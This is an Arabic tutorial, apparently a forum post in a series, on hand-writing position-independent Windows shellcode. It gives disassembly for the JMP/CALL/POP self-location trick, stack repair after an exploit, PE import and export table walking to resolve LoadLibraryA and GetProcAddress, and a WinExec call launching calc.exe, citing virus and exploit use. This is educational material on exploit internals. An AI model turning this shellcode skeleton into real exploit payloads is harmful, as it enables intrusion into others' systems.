السلام عليكم ورحمة الله ,,
آخر موضوع تحدثنا عنة هو : أخطار المعالجة المنظمة لنظام التشغيل
والآن نكمل المشوار .... وندخل في المواضيع الجدية ؟!!!!
البرمجة المتقدمة للملفات التنفيذية:
فكرة هذا الموضوع : تعلم كتابة البرامج التنفيذية بكل إحتراف تعمل في كل الظروف
وبأقل حجم ممكن وأقل إستهلاك للذاكرة , وبدون لغة برمجة ؟! يعني بالصفر و الواحد !
درست هذة الفكرة جيداً فوجدت أفضل هذة الأكواد والأفكار إحترافية
هي ملفات الباتش (تغيير في الشفرة الثنائية لبرنامج ) مثل ملفات تحديث النظام و تصحيح الأخطاء
بالإضافة إلى أغلب الفايروسات وأكواد إستغلال الثغرات shellcode
هذة الأنواع من البرامج والأكواد مختلفة عن بقية البرامج التي تراها ؟! كونها
تعمل في مكان غير مكانها ( في ملف تنفيذي آخر ) وتعمل في ظروف أخرى قد لاتعمل بها بقية البرامج
هذة البرامج أكثر البرامج إحترافية لأنها تأخذ حجم صغير جداً وإستهلاك بسيط للذاكرة
لدرجة أنك قد لاتحس بوجودها , وهذة الطريقة تعتمد على أساليب وطرق إحترافية للغة الإسمبلي
هذة الملفات ليس لها ملف تنفيذي ولا مقدمة PE وهي المعلومات التي تسهل للبرنامج الوصول لخدمات النظام
وهنا تضطر لإستخدام مقدمة الملف التنفيذي التي تكتب بداخلة ؟!
وهذة العملية تتطلب فهم قواعد وقوانين حسابية تمكنك من فهم بنية الملفات التنفيذية
وأغلب هذة القواعد ستكون مأخوذة من مقدمة الملف PE , تم دراستها هنا
المهم نبدأ الموضع :::>>>>>>
-
أول ما يدخل برنامجك أو shellcode إلى أي نظام كيف سيتصرف؟! ومن أين سيبدأ للتحكم في النظام
خطوات وقوانين بناء الملفات التنفيذية exe :
الخطوة الأولى تحديد عناون الكود التنفيذي في الذاكرة؟
هذة الخطوة مهمة ,,كيف سنعرف مكان وعنوان تنفيذ برنامجنا بداخل أي عملية
لكي نبدأ بتكوين بيئة للملف التنفيذي , الحل بسيط عن طريق قانون أبسط
قانون تعليمة JMP و CALL
أنا متأكد أن أغلبكم تتبع وراقب طريقة عمل فايروس أو shellcode
وقد تستغرب من أن هذا الشل كود يبدأ بعشرات JMP و Call دون أي تنفيذ ودون سبب واضح؟!
وللمعلومة : فايروس ساسر يبدأ ب 20 تعليمة jmp .. تقريباً
هذة الطريقة لتحديد عناوين الكود بداخل أي عملية .... كيف ؟
أولاً : تعليمة JMP و Call لهما نفس العمل وقد لايكون هنالك إختلاف , إلى في العمل الإضافي للمعالج
عندما ينفذ المعالج تعليمة jmp فإنة ينقل التنفيذ فقط , ولكن عندما ينفذ تعليمة call
فإن المعالج ينقل التنفيذ + يقوم بتخزين عنوان الرجوع للتعليمة التالية , وهنا وجد الحل
الآن نريد تحديد أي عنوان بالبايت داخل برنامجنا , نبدأ بتعليمة jmp وننقل التنفيذ
إلى العنوان الذي نريد معرفته , بعد ذلك ننفذ تعليمة call , مباشرة يقوم المعالج بشكل
تلقائي بدفع عنوان العودة إلى المكدس بواسطة الأمر push
نحن نقوم بكل بساطة بسحب عنوان العودة بتعليمة pop إلى أي مسجل وبهذا نكون قد حددنا موقعنا
--- وهذا هو الشكل النهائي للقانون ----
0012FE1C: JMP SHORT 0012FE1F 0012FE1E: NOP 0012FE1F: CALL 0012FE62 xxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxx 0012FE62: POP EDI
تلاحظ أن مسجل edi سيحمل بعنوان البلوك xxxxxxxxxxxx وهنا نضع أي شيء نريد تحديد عنوانة
------
وبعد ان عرفنا عنوان برنامجنا في أي عملية في الذاكرة , ننتقل إلى الخطوة الثانية
ملاحظة : هذة الخطوة لا تطبق إلى إذا كان برنامجك ينتقل عبر المكدس ( ثغرة في نظام التشغيل )
نقوم بإرجاع عناوين مسجلات esp و ebp إلى خلف عنوان برنامجنا التنفيذي
والسبب لأن هذة المسجلات تمثل مؤشرات البيانات في البرنامج الحالي ولا نريدها أن تتداخل مع الكود
وبذلك نطبق قانون :
عنوان ebp يساوي عنوان الكود التنفيذي لبرنامجنا - ناقص حجم الذاكرة التي نتوقع
إستخدامها لتخزين البيانات المؤقتة للبرنامج ( ملاحظة : في مثالنا سنستخدم 1200 بايت , بالهكس 500
-
عنوان esp يساوي قيمة ebp ناقص حجم الكود التنفيذي لبرنامجنا بالبايت, وفي مثالنا حجم البرنامج 2A0
===
لاحظ تكملة الكود السابق
عنوان البرنامج التنفيذ الذي حصلنا علية في المسجل edi
وبالإعتماد على عنوان برنامجنا سنطبق قانون espوebp :
0012FE62: POP EDI 0012FE63: MOV ESI,EDI 0012FE65: XOR ECX,ECX 0012FE67: MOV CH,5 0012FE69: MOV EDI,ESI 0012FE6B: SUB EDI,ECX 0012FE6D: MOV EBP,EDI 0012FE6F: MOV CH,3 0012FE71: SUB EDI,ECX 0012FE73: MOV EDX,EDI 0012FE75: MOV DL,7C 0012FE77: MOV ESP,EDX
-
وبعد أن قمنا بترتيب الكود , بالإعتماد على قوانين المعالج
نبدأ بشغلة قد تكون الأهم وهي
الدوال ومكاتب الربط ؟ كيف نصل إلى خدمات نظام التشغيل
كلنا نعرف أن للملف التنفيذي مقدمة PE موجودة في أول 512 بايت في مقدمة الملف
هذة المقدمة تحتوي على معلومات كثيرة مايهمنا في هذة النقطة - عنوان الدوال المستوردة
كيف نصل إليها
أولاً العنوان الوهمي للملفات التنفيذي exe يساوي 400000 وهذا في كل المترجمات
يبدأ عند هذا العنوان توقيع الملف التنفيذي MZ
الآن كيف أحصل على عنوان PE لكي أصل إلى عنوان جدول الدوال المستوردة
يقوم النظام يتخزين إزاحة PE عند العنوان 400000 + 3C
القانون الأول : إزاحة PE تساوي العنوان الوهمي + 3C
وبهذا يكون عنوان PE يساوي العنوان الوهمي + إزاحة PE
كيف ؟
تابع تكملة الكود السابق:
تحميل المسجل ecx بالعنوان الوهمي للملفات التنفيذية وهو 400000
0012FE7C: MOV CH,40 0012FE7E: SHL ECX,8
بعد ذلك تحميل ecx بإزاحة مقدمة الملف pe وهي تساوي العنوان الوهمي + 3c
0012FE84: LEA ECX,DWORD PTR DS:[ECX+3C]
بعد ذلك إضافة الإزاحة + العنوان الوهمي لنحصل على عنوان مقدمة الملف
0012FE87: MOV ECX,DWORD PTR DS:[ECX] <- تحميل المسجل بقيمة الإزاحة 0012FE89: ADD ECX,DWORD PTR SS:[EBP-8] <- جمع الإزاحة والعنوان الوهمي
لينتج عنوان مقدمة الملف
الآن نكون قد حصلنا على عنوان PE ونبدأ بإستخراج المعلومات
أول ماسنبحث عن هو عنوان جدول الدوال المستوردة
وتجد العنوان بهذة الطريقة : عنوان pe ونضيف لة القيمة 7F
لأن قيمة 7F تمثل إزاحة جدول الدوال المستوردة في مقدمة الملف ,, ونكمل الكود
=
قرائة مؤشر لعنوان جدول الدوال المستوردة
0012FE8C: LEA ECX,DWORD PTR DS:[ECX+7F] 0012FE8F: INC ECX
قرائة العنوان المؤشر علية وهو يمثل إزاحة الجدول
0012FE90: MOV ECX,DWORD PTR DS:[ECX]
إضافة إزاحة الجدول إلى العنوان الوهمي للبرنامج لينتج لنا عنوان مباشر للجدول في الذاكرة
0012FE92: ADD ECX,DWORD PTR SS:[EBP-8]
وفي هذة الخطوة نكون قد كونا برنامج قياسي في الذاكرة ,,
وبقي إستخدام الأوامر وإستيراد الدوال:
هذة النقطة تتطلب شرط ؟ وهو أن يكون البرنامج المستهدف يستخدم على الأقل دالة واحدة :)
وبالتأكيد هذا الشرط موجود في كل البرامج
ولكن ماهي الدالة التي تتوقع وجودها في كل أو أغلب البرامج
توجد دالتين متوفرة في كل البرامج القياسية وحتى المشفرة
وهما الدالة LoadLibraryA والدالة GetModuleHandleA
ونحن بدورنا سنستخدم في المثال الأول الدالة LoadLibraryA
وبعد ذلك سنقوم بتحميل أي مكتبة نريدها وإستخدام أي دالة
وفي مثالنا الأول سنقوم بتحميل المكاتب التالية
KERNEL32 و USER32
وسنستخدم دوال إضافية
GetProcAddress
WinExec
ExitThread
وسنستخدم معلومات مثل" calc.exe " لكي نقوم بتشغيل برنامج
-----------------------------------------------------------------------------------
والآن سنكمل برنامجنا السابق , وسنضيف لة قسم بيانات
وسنكتب بة أسماء الدوال والمكاتب
إرجع إلى أول خطوة في برنامجنا وأضف لة البيانات الشابقة في مكان xxxxxxx
0012FE1C: JMP SHORT 0012FE1F 0012FE1E: NOP 0012FE1F: CALL 0012FE62 xxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxx 0012FE62: POP EDI
لكي نرجع عنوانها في الذاكرة -----
وبعد ذلك أكمل باقي الخطوات
---
الخطوة الأولى : البحث عن مكتبة KERNEL32 في الذاكرة
تتطلب هذة الخطوة دورة تنفيذية : تبدأ هذة الدورة ب
بتحديد مكاتب الربط عن طريق قانون ذكرناة في دروس سابقة
وهو قانون ال 20 بايت للدوال المستوردة - راجع موضوع المترجمات
في البايت رقم C في هذة ال 20 بايت يمثل عنوان لإسم مكتبة الربط
نستخرج هذا العنوان ثم نقرأ إسم المكتبة ثم نقارنة بإسم kernel
-
نكمل الكود :
-
قرائة إسم المكتبة من ال 20 بايت
0012FE97: MOV ECX,DWORD PTR DS:[ECX+C] 0012FE9A: ADD ECX,DWORD PTR SS:[EBP-8]
مقارنة الإسم الذي حصلنا علية مع الأرقام وهي تمثل بداية إسم kern
0012FE9D: CMP DWORD PTR DS:[ECX],4E52454B 0012FEA3: JE SHORT 0012FEAC
إذا لم يتم إيجاد المكتبة ننتقل لثاني 20 بايت وبالهكس يمثل 14
0012FEA5: LEA EBX,DWORD PTR DS:[EBX+14] 0012FEA8: MOV ECX,EBX
نعود إلى بداية الدورة
0012FEAA: JMP SHORT 0012FE97
وستنتهي الدورة بعد أن وجد ال 20 بايت التابع لمكتبة KERNEL32
وبعد أن نجد ال 20 بايت الخاصة بمكتبة KERNEL32
نستخرج منها أول 4 بايت وتمثل الدوال المستوردة من هذة المكتبة
ونبدأ بدورة بحث ثانية في جدول الدوال للبحث عن الدالة LoadLibraryA
إستخراج جدول عناوين الدوال
0012FEAE: PUSH EBX 0012FEAF: MOV ESI,DWORD PTR DS:[EBX] 0012FEB1: ADD ESI,DWORD PTR SS:[EBP-8]
قرائة أسماء الدوال حسب العنوان
0012FEBA: MOV EDI,DWORD PTR DS:[ESI] 0012FEBC: ADD EDI,DWORD PTR SS:[EBP-8] 0012FEBF: INC EDI 0012FEC0: INC EDI 0012FEC1: PUSH ESI ; SEH.00404438 0012FEC2: MOV ESI,DWORD PTR SS:[EBP-4] 0012FEC5: XOR ECX,ECX 0012FEC7: MOV CL,0D
مقارنة بين أسماء الدوال والدالة LoadLibraryA
0012FEC9: REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:> 0012FECB: POP ESI 0012FECC: JE SHORT 0012FED4 0012FECE: INC EAX 0012FECF: LEA ESI,DWORD PTR DS:[ESI+4] 0012FED2: JMP SHORT 0012FEB4
وتنتهي الدورة بعد أن تجد مؤشر لعنوان تنفيذ الدالة LoadLibraryA
ونكمل الكود بإستخراج المؤشر
0012FED5: MOV EBX,DWORD PTR DS:[EBX+10] 0012FED8: ADD EBX,DWORD PTR SS:[EBP-8] 0012FEDB: SHL EAX,2 0012FEDE: ADD EBX,EAX 0012FEE0: MOV EAX,DWORD PTR DS:[EBX] ; kernel32.LoadLibraryA
بعد ذلك نقوم بتحميل المكتبة KERNEL32
ونبدأ بإستخراج إسم المكتبة من البيانات التي أضفناها لبرنامجنا
0012FEE2: MOV DWORD PTR SS:[EBP-C],EAX 0012FEE5: MOV EBX,DWORD PTR SS:[EBP-4] 0012FEE8: LEA EBX,DWORD PTR DS:[EBX+D]
وبعد ذلك نتصل في دالة تحميل المكتبة
0012FEEB: PUSH EBX 0012FEEC: CALL EAX
وفي هذة الخطوة تستطيع تحميل أي مكتبة لإستخادمها
ونضيف تحميل المكتبة user32.dll
0012FEF1: LEA EBX,DWORD PTR DS:[EBX+9] 0012FEF4: PUSH EBX 0012FEF5: MOV EAX,DWORD PTR SS:[EBP-C] 0012FEF8: CALL EAX ; kernel32.LoadLibraryA
والآن وبعد تطبيق كل الخطوات السابقة , كل الذي بقي تكرار لم سبق
فمثلاً بعد تحميل أي مكتبة إلى الذاكرة , نقوم بتطبيق أول خطوة تعلمناها الوصول إلى pe
وبعد ذلك نستخرج عنوان (لاحظ) الدوال المصدرة وليست المستوردة
- تابع الكود -
إستخراج عنوان الدوال المصدرة
الجديد في الكود هو الرقم 78 وهو يمثل عنوان جدول الدوال المصدرة في pe
0012FF00: MOV EAX,DWORD PTR DS:[EAX+3C] 0012FF06: MOV EAX,DWORD PTR DS:[EAX+78]
وبعد ذلك نكرر عملية البحث عن أي دالة نريد إستخراجها
وفي مثالنا الدالة GetProcAddress
نبدأ بتحميل إسم الدالة من الكود الذي قمنا بكتابتة
0012FF15: LEA EDI,DWORD PTR DS:[EBX+8]
وبعد ذلك نبدأ بعملية البحث عن إسم الدالة في جدول الدوال المصدرة
0012FF1A: PUSH EDI 0012FF1B: MOV ESI,DWORD PTR DS:[EAX] 0012FF1D: ADD ESI,DWORD PTR SS:[EBP-10] 0012FF20: XOR ECX,ECX 0012FF22: MOV CL,0F 0012FF24: REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 0012FF26: JE SHORT 0012FF33 0012FF28: POP EDI 0012FF29: JMP SHORT 0012FF2D 0012FF2B: JMP SHORT 0012FFA7 0012FF2D: INC EDX 0012FF2E: LEA EAX,DWORD PTR DS:[EAX+4] 0012FF31: JMP SHORT 0012FF1A
وبعد أن توصلنا إلى عنوان الدالة GetProcAddress
بعد ذلك تبدأ الراحة .... والسهولة
إذا أردت أي دالة أو مكتبة فقط أضف إسمها إلى الكود الخاص بناء
وإستخدم الدالة GetProcAddress لإرجاع عنوانها وبعد ذلك تنفيذها
لاحظ المسجل ebx يحتوي على عنوان الدالة GetProcAddress
وسنقوم بتنفيذ الدالة WinExec التي أضفناها سابقاً وهي تشغيل ملف تنفيذي
وسنقوم بتشغيل برنامج الحاسبة في وندوز calc.exe
الشغلة ولا أبسط
-----
نبدأ بقرائة إسم الدالة التي أضفناها في الكود وهي WinExec
0012FF6A: MOV ESI,DWORD PTR SS:[EBP-10]
بعد ذلك نتصل بالدالة GetProcAddress
0012FF6D: PUSH ESI 0012FF6E: CLD 0012FF6F: CALL EBX ; kernel32.GetProcAddress
وثم تنفيذ WinExec
0012FF71: POP EBX 0012FF72: PUSH 1 0012FF74: ADD BL,8 0012FF77: PUSH EBX 0012FF78: CALL EAX
وبعد كتابة الكود سنقوم بإختبارة في القسم الثاني من الموضوع :
إذا كانت بعض الخطوات غير واضحة بالنسبة لك ... تابع الموضوع


